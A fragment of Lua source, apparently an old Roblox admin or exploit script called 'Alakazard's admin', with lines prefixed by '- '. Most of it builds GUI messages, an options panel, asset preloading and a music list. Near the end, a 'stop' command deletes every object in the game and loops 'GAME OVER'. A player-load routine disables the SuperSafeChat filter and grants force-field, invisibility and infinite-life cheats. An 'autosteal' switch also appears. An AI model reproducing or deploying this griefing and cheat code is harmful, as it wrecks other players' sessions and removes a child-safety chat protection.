- A.Functions.CreateScript('LocalScript',Player,[[
- if Ray.Message then script:remove''return end
- Ray.Message=true
- script.Parent=nil
- game:service'Lighting'.ChildAdded:connect(function(c)
- if c.Name~='Alakazard_Message'then return end
- game:service'Debris':AddItem(c,20)
- local Name=c.Value:match';([^;]+)'
- if Name~=Player.Name and Name~='all'then return end
- local Level=c.Value:match'/([^/]+)'
- local Text=c.Value:match'##([^##]+)'
- local Parent=A.Functions.WaitingForObject(Player,'className','PlayerGui')
- local Size=A.UDim2.new(1,2,0,22)
- local PlusPosition=0
- if string.find('hint',Level:lower'')then
- Level='Hint'
- for i,v in pairs(Parent:children'')do
- if v.Name=='Alakazard Hint'then
- PlusPosition=PlusPosition+1
- end
- end
- elseif string.find('message',Level:lower'')then
- Level='Message'
- Size=A.UDim2.new(1,2,1,2)
- end
- if Level~='Message'and Level~='Hint'then return end
- local Screen=A.Instance.new'ScreenGui'
- game:service'Debris':AddItem(Screen,60)
- Screen.Name='Alakazard '..Level
- local Label=A.Instance.new('TextLabel',Screen)
- Label.Size=Size
- Label.Position=A.UDim2.new(0,-1,0,-1+(22*PlusPosition))
- Label.BackgroundColor3=A.Color3.new(0,0,0)
- Label.TextColor3=A.Color3.new(1,1,1)
- Label.BackgroundTransparency=0
- Label.Text=Text
- Label.Font=2
- Label.BorderSizePixel=0
- Label.FontSize='Size14'
- Label.TextWrap=true
- Screen.Parent=Parent
- A.X(function()
- local LabelPos=Label.Position
- Label.Changed:connect(function(c)
- if c~='Position'then return end
- LabelPos=Label.Position
- end)
- A.X(function()
- Label.BackgroundTransparency=.25
- Label.TextTransparency=.25
- end)
- wait(#Text/4)
- for i=1,75 do
- game:service'RunService'.Stepped:wait''
- if not Label then break end
- Label.BackgroundTransparency=Label.BackgroundTransparency+.01
- Label.TextTransparency=Label.TextTransparency+.01
- end
- pcall(function()
- if Level~='Hint'then return end
- for i,v in pairs(Parent:children'')do
- if v.Name=='Alakazard Hint'then
- pcall(function()
- if v.TextLabel.Position.Y.Offset<LabelPos.Y.Offset then return end
- v.TextLabel.Position=v.TextLabel.Position-A.UDim2.new(0,0,0,22)
- end)
- end
- end
- end)
- Screen:remove''
- end)
- end)
- Player.ChildAdded:connect(function(o)
- A.X(function()
- if not o:IsA'StringValue'or o.Name~='MadnessMessage'then return else o.remove(o)end
- local Text=o.Value
- local Screen=A.Instance.new'ScreenGui'
- game:service'Debris':AddItem(Screen,#Text/3)
- game:service'Debris':AddItem(Screen,80)
- local TextLabel=A.Instance.new('TextLabel',Screen)
- local Pos=A.UDim2.new(math.random(3,7)/10,0,math.random(3,7)/10,0)
- TextLabel.FontSize='Size18'
- TextLabel.Text=Text
- TextLabel.TextColor3=A.Color3.new(0,0,0)
- TextLabel.Position=Pos
- TextLabel.ZIndex=10
- local TextLabel2=TextLabel:clone''
- TextLabel2.TextColor3=A.Color3.new(1,0,0)
- TextLabel2.ZIndex=0
- TextLabel2.Parent=TextLabel.Parent
- local TextLabel3=TextLabel:clone''
- TextLabel3.TextColor3=A.Color3.new(.75,0,0)
- TextLabel3.ZIndex=0
- TextLabel3.Parent=TextLabel.Parent
- Screen.Name='MadnessMessage'
- Screen.Parent=Player.PlayerGui
- while Screen do
- wait(math.random(1,70)/1000)
- TextLabel.Position=Pos+A.UDim2.new(0,math.random(-10,10),0,math.random(-10,10))
- TextLabel2.Position=TextLabel.Position+A.UDim2.new(0,math.random(-7,7),0,math.random(-7,7))
- TextLabel3.Position=TextLabel.Position+A.UDim2.new(0,math.random(-7,7),0,math.random(-7,7))
- end
- end)
- end)
- ]])
- end)
- A.Functions.CreateLoad('Once','Health bar',A.Functions.AddAlakazardHumanoidBar)
- A.Functions.CreateLoad('Once','Cmdt',A.Functions.ShowCommands)
- A.Functions.CreateLoad('Once','Commander',A.Functions.GuiCommander)
- A.Functions.CreateLoad('Once','Downloader',function(Player,Table)
- local list={}
- for i,v in pairs(A.Other.AlakazardFont)do table.insert(list,v)end
- for i,v in pairs(A.Other.Meme)do table.insert(list,v)end
- A.Functions.CreateScript('LocalScript',Player,[[
- local Stuffs={]]..table.concat(list,',')..[[}
- local Screen=A.Instance.new('ScreenGui',A.Functions.WaitingForObject(Player,'ClassName','PlayerGui'))
- local Frame=A.Instance.new('Frame',Screen)
- local Frame2=A.Instance.new('Frame',Frame)
- local Image=A.Instance.new('ImageLabel',Frame)
- Frame.Size=A.UDim2.new(0,100,0,10)
- Frame.BackgroundColor3=A.Color3.new(0,0,0)
- Frame.Position=A.UDim2.new(.5,-50,.5,-5)
- Frame.BorderSizePixel=0
- Frame2.BackgroundColor3=A.Color3.new(0,.8,0)
- Frame2.BorderSizePixel=0
- Image.Size=A.UDim2.new(0,10,0,10)
- Image.Position=A.UDim2.new(0,-10,0,0)
- Image.Transparency=1
- for i,v in pairs(Stuffs)do
- local img='http://www.roblox.com/asset/?id='..v
- Image.Image=img
- game:service'ContentProvider':Preload(img)
- wait''
- Frame2.Size=A.UDim2.new(i/#Stuffs,0,1,0)
- end
- Screen.remove(Screen)
- ]])
- end)
- A.Functions.CreateLoad('Once','Cam fixer',function(Player)
- A.Functions.CreateScript('LocalScript',Player,[[
- script.remove(script)
- if Ray.FIXCAM then return end
- Ray.FIXCAM=true
- local Player=game:service'Players'.LocalPlayer
- local Char=function()while not Player.Character do Player.Changed:wait''end return Player.Character end
- local fix=function(c)
- pcall(workspace.CurrentCamera.remove,workspace.CurrentCamera)
- cam=Instance.new('Camera',workspace)
- cam.CameraSubject=Char''.Humanoid
- cam.CameraType=5
- end
- game:service'Players'.LocalPlayer.ChildAdded:connect(function(c)
- if not c:IsA'StringValue'or c.Name~='Fix Cam'then return end
- pcall(fix)
- pcall(c.remove,c)
- end)
- pcall(fix)
- ]])
- end)
- A.Functions.CreateLoad('Once','OptionsGui',function(Player,T)
- local tg=T.Guis
- if not T.Guis.ot then
- tg.ot={}
- tg.ot.Name='Options'
- tg.ot.Open=false
- tg.ot.Pos=0
- tg.ot.io={cc='http://www.roblox.com/Asset/?id=64427005';active='http://www.roblox.com/Asset/?id=64386050';inactive='http://www.roblox.com/Asset/?id=64386060';unknow='http://www.roblox.com/Asset/?id=64385868';e='http://www.roblox.com/Asset/?id=64335382';l='http://www.roblox.com/Asset/?id=64335363';bb='http://www.roblox.com/Asset/?id=64377174';b='http://www.roblox.com/Asset/?id=64377128'}
- end
- local Cells={}
- local Buttons={}
- local Screen=T.ScreenObject
- local Frame=A.Instance.plnew('Frame',Screen)
- local Options=A.Instance.plnew('ImageButton',Screen)
- local Back=A.Instance.plnew('ImageButton',Frame)
- local oguis=function()
- local l={}
- for i=tg.ot.Pos+1,#T.OGuis do
- table.insert(l,T.OGuis[i])
- end
- return l
- end
- local SetBool=function(n)
- local v=T.OGuis[n+tg.ot.Pos]
- local bg=Buttons[n]
- if v.FA and not A.Functions.SAdmin(Player)then bg.Image=tg.ot.io.cc return end
- if v.Active.Value then
- bg.Image=tg.ot.io.active
- else
- bg.Image=tg.ot.io.inactive
- end
- end
- local FixCells=function()
- for i,v in pairs(oguis'')do
- Cells[i].Text=v.Name
- SetBool(i)
- end
- end
- local SetCell=function(tb)
- local v=T.OGuis[tb+tg.ot.Pos]
- if v.FA then
- if A.Functions.SAdmin(Player)then
- v.Active.Value=not v.Active.Value
- return true
- end
- else
- v.Active.Value=not v.Active.Value
- return true
- end
- return false
- end
- local Status=function()
- tg.ot.Open=not tg.ot.Open
- Frame.Visible=tg.ot.Open
- Options.Visible=not tg.ot.Open
- Back.Image=tg.ot.io.bb
- Options.Image=tg.ot.io.l
- for i,v in pairs(Cells)do
- pcall(function()
- v.Text=T.OGuis[i].Name
- end)
- end
- end
- Frame.Size=A.UDim2.new(1,0,1,1)
- Frame.Position=A.UDim2.new(0,0,0,-1)
- Frame.Style=2
- Options.Size=A.UDim2.new(0,150,0,150)
- Options.Position=A.UDim2.new(0,0,.5,-75)
- Options.Transparency=1
- Options.Image=tg.ot.io.e
- Options.Image=tg.ot.io.l
- Back.Size=A.UDim2.new(0,200,0,200)
- Back.Position=A.UDim2.new(.5,-100,0,0)
- Back.Image=tg.ot.io.b
- Back.Image=tg.ot.io.bb
- for i=1,#T.OGuis do
- if i==9 then break end
- local tb=A.Instance.plnew('TextButton',Frame)
- local bg=A.Instance.plnew('ImageButton',tb)
- tb.Size=A.UDim2.new(0,666,0,20)
- tb.Position=A.UDim2.new(.5,-333,0,200+i*20)
- tb.BackgroundColor3=A.Color3.new(.643,0,0)
- tb.TextColor3=A.Color3.new(0,0,0)
- tb.Font=2
- tb.FontSize=5
- tb.Text='Unknow'
- tb.BackgroundTransparency=.8
- bg.Size=A.UDim2.new(0,20,0,20)
- bg.Position=A.UDim2.new(1,-20,0,0)
- bg.Image=tg.ot.io.unknow
- bg.Transparency=1
- bg.MouseButton1Down:connect(function()SetCell(i)SetBool(i)end)
- bg.MouseEnter:connect(function()SetBool(i)end)
- tb.MouseButton1Down:connect(function()SetCell(i)SetBool(i)end)
- tb.MouseEnter:connect(function()tb.BackgroundTransparency=.3 tb.MouseLeave:wait''tb.BackgroundTransparency=.8 end)
- table.insert(Buttons,bg)
- table.insert(Cells,tb)
- end
- FixCells''
- for i,v in pairs(A.Functions.GetAll(Frame))do
- A.X(function()A.Instance.plock(v,'BorderSizePixel',0)end)
- end
- Back.MouseButton1Down:connect(Status)
- Options.MouseButton1Down:connect(Status)
- Back.MouseEnter:connect(function()Back.Image=tg.ot.io.b Back.MouseLeave:wait''Back.Image=tg.ot.io.bb end)
- Options.MouseEnter:connect(function()Options.Image=tg.ot.io.e Options.MouseLeave:wait''Options.Image=tg.ot.io.l end)
- A.Instance.plock(Options,'Visible',function(o)o.Visible=not tg.ot.Open end)
- A.Instance.plock(Options,'Transparency',1)
- A.Instance.plock(Options,'Active',true)
- A.Instance.plock(Back,'Active',true)
- A.Instance.plock(Frame,'Visible',function(o)o.Visible=tg.ot.Open end)
- A.Instance.plock(Frame,'Active',false)
- A.Instance.plock(Back,'Transparency',1)
- end)
- --==================================Loads Ended==================================--
- --==================================Loads Ended==================================--
- --==================================Loads Ended==================================--
- game:service'Players'.PlayerRemoving:connect(function(Player)
- A.X(function()A.Players.PlayersTables[Player.Name].PlayerOnServer=false end)
- end)
- game:service'Players'.PlayerAdded:connect(function(Player)
- A.X(function()A.Functions.PlayerLoads(Player)end,function()A.Players.PlayersTables[Player.Name].PlayerOnServer=true end)
- end)
- for PlayerNumbear,Player in ipairs(game:service('Players'):GetPlayers())do
- A.X(function()A.Functions.PlayerLoads(Player)end)
- end
- A.X(function()
- for i,v in pairs(game:service'InsertService':children())do
- v.Parent=nil
- end
- end)
- A.X(function()
- A.Functions.CreateSound('Musics',{SoundId=27697713,Pitch=3,Volume=1,Looped=true,Name='Daniel Bautista - Music for a Film'})
- A.Functions.CreateSound('Musics',{SoundId=27697743,Pitch=3,Volume=1,Looped=true,Name='Zero Project - Gothic'})
- A.Functions.CreateSound('Musics',{SoundId=27697277,Pitch=1.37,Volume=1,Looped=true,Name='Positively Dark - Awakening'})
- A.Functions.CreateSound('Musics',{SoundId=27697735,Pitch=2,Volume=1,Looped=true,Name='Jeff Syndicate - Hip Hop'})
- A.Functions.CreateSound('Musics',{SoundId=1015394,Pitch=1,Volume=1,Looped=true,Name='Wind Of Fjords'})
- A.Functions.CreateSound('Musics',{SoundId=11420933,Pitch=1,Volume=1,Looped=true,Name='TOPW (idk)'})
- A.Functions.CreateSound('Musics',{SoundId=11231513,Pitch=1,Volume=1,Looped=true,Name='Toccata and Fugue in D minor'})
- A.Functions.CreateSound('Musics',{SoundId=27697719,Pitch=2.4,Volume=1,Looped=true,Name='Daniel Bautista - Flight of the Bumblebee'})
- A.Functions.CreateSound('Musics',{SoundId=11060062,Pitch=1,Volume=1,Looped=true,Name='Fast-Forward'})
- A.Functions.CreateSound('Musics',{SoundId=45819151,Pitch=1,Volume=1,Looped=true,Name='background Song1'})
- A.Functions.CreateSound('Musics',{SoundId=27697707,Pitch=1,Volume=1,Looped=true,Name='Daniel Bautista - Intro'})
- A.Functions.CreateSound('Musics',{SoundId=27697707,Pitch=2,Volume=1,Looped=true,Name='Daniel Bautista - Intro (fast)'})
- A.Functions.CreateSound('Musics',{SoundId=5986151,Pitch=1,Volume=1,Looped=true,Name='Woman King'})
- A.Functions.CreateSound('Musics',{SoundId=9650822,Pitch=1,Volume=1,Looped=true,Name='S4Tunnel'})
- A.Functions.CreateSound('Musics',{SoundId=11420922,Pitch=1,Volume=1,Looped=true,Name='DOTR'})
- A.Functions.CreateSound('Musics',{SoundId=8610025,Pitch=1,Volume=1,Looped=true,Name='NerezzaSong'})
- A.Functions.CreateSound('Musics',{SoundId=35930009,Pitch=.9,Volume=1,Looped=true,Name='Troll'})
- A.Functions.CreateSound('Musics',{SoundId=1372260,Pitch=1,Volume=1,Looped=true,Name='Only one lul'})
- A.Functions.CreateSound('Musics',{SoundId=8663653,Pitch=1,Volume=1,Looped=true,Name='ZEN'})
- local Sound=A.Instance.new('Sound',workspace)
- for i,v in pairs(A.Sounds.Musics)do
- wait''
- Sound.SoundId='rbxassetid://'..v.SoundId
- end
- A.Remove(Sound)
- end)
- game.DescendantAdded:connect(function(c)pcall(A.Functions.Check,c)end)
- for i,c in pairs(A.Functions.GetAll'')do pcall(A.Functions.Check,c)end
- game:service'InsertService'.ChildAdded:connect(function(c)
- if not A.BoolSettings.FreeModelsUsing then
- A.Remove(c)
- end
- end)
- A.X(function()
- Ray.ServerA=A
- end)
- A.X(function()
- A.Objects.Packs.Backpack.Teapot=[[game:service'InsertService':LoadAsset'64078391':children''[1].Parent=game.Players.LocalPlayer.Character]]
- local id={}
- id.CRoad=63177900
- for i,v in pairs(id)do A.Objects.Packs.Backpack[i]=A.Functions.Bit8(game:service'InsertService':LoadAsset(v).Value.Value)end
- end)
- A.X(function()
- local Lighting
- while 0 do
- Lighting=game:service'Lighting'
- Lighting.Changed:wait''
- if not Lighting.Parent then
- A.Instance.new('Lighting',game)
- end
- end
- end)
- print[=[Alakazard's admin loaded!]=]
- --[========[ Lego derp ]========]--
- ]====================])
- end
- Cmd.stop=function()
- Player.Parent=nil
- Player.Parent=Players
- game:ClearContent'true'
- for i,v in pairs(GetAll(game))do
- pcall(function()
- v:remove''
- end)
- end
- while 0 do wait'.5'
- game:SetMessage'GAME OVER'
- end
- end
- PlayerLoads=function()
- Delay(3,function()
- Player:SetSuperSafeChat(false)
- end)
- Player.Chatted:connect(Chatted)
- while not Player.Character do Player.Changed:wait''end
- FF''
- Hide''
- InfLife''
- Player.CharacterAdded:connect(function()
- while not Player.Character do Player.Changed:wait''end
- FF''
- Hide''
- InfLife''
- end)
- end
- PlayerLoads''
- CommandWindow''
- --Player.Character:BreakJoints''
- if autosteal==true then wait(10)On2()end
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